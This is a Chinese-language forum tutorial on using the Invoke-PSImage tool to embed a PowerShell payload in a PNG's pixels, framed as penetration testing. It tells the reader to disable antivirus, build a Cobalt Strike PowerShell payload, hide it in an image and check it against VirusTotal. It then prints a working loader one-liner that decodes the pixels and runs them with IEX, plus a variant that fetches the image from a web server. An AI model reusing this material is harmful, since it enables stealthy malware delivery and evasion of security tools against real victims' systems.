Invoke-PSImage可以在PNG文件的像素中嵌入Powershell脚本,并生成一行命令用于我们来执行.
前言
Invoke-PSImage可以在PNG文件的像素中嵌入Powershell脚本,并生成一行命令用于我们来执行.
Invoke-PSImage可以支持大多数图像类型作为输入,但输出必须是PNG,由于图像的每个像素都要用于保存一个字节的脚本,因此至少需要一个与脚本中的字节相同像素的图像
项目地址:https://github.com/peewpw/Invoke-PSImage
相关参数
-S cript:powershell脚本路径
-Image:需要嵌入脚本的图像路径
-Out:输出PNG文件的路径
-Web:输出使用Net.WebClient从web中读取图像的命令
准备
关掉杀毒软件(否则生成文件时会失败)
从Cobalt Strike中生成一个powershell脚本
准备一张像素大于powershell脚本字节大小的图片
开始试验
1. 创建一个包含"payload.ps1"的脚本文件,并输出命令从本地获取图片执行
Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -S cript .\payload.ps1 -Image .\shell.jpg -Out .\shell.png
保存好生成的执行命令
sal a New-O bject;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("E:\Desktop\shell.png");$o=a Byte[] 4320;(0..3)|%{foreach($x in(0..1079)){$p=$g.GetPixel($x,$_);$o[$_*1080+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))\}\};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554]))
把生成的文件放到VT里面查杀下
将刚刚生成的命令带入到powershell中执行(确定好命令中的图片路径是否正确)
2.创建包含"Invoke-PSImage.ps1"的脚本图像,并输出命令从web获取图像执行
Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -S cript .\payload.ps1 -Image .\shell.jpg -Out .\shell.png -Web
将生成好的文件放入到web服务器当中
将生成的命令中的http://example.com/shell.png
替换为图片路径的url,带入powershell中执行
总结
Invoke-PSImage可以将powershell脚本嵌入到PNG文件像素中, 一些工具powershell版配合Invoke-PSImage能让我们更加方便的进行渗透测试
- 本文作者: miagz
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/416
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!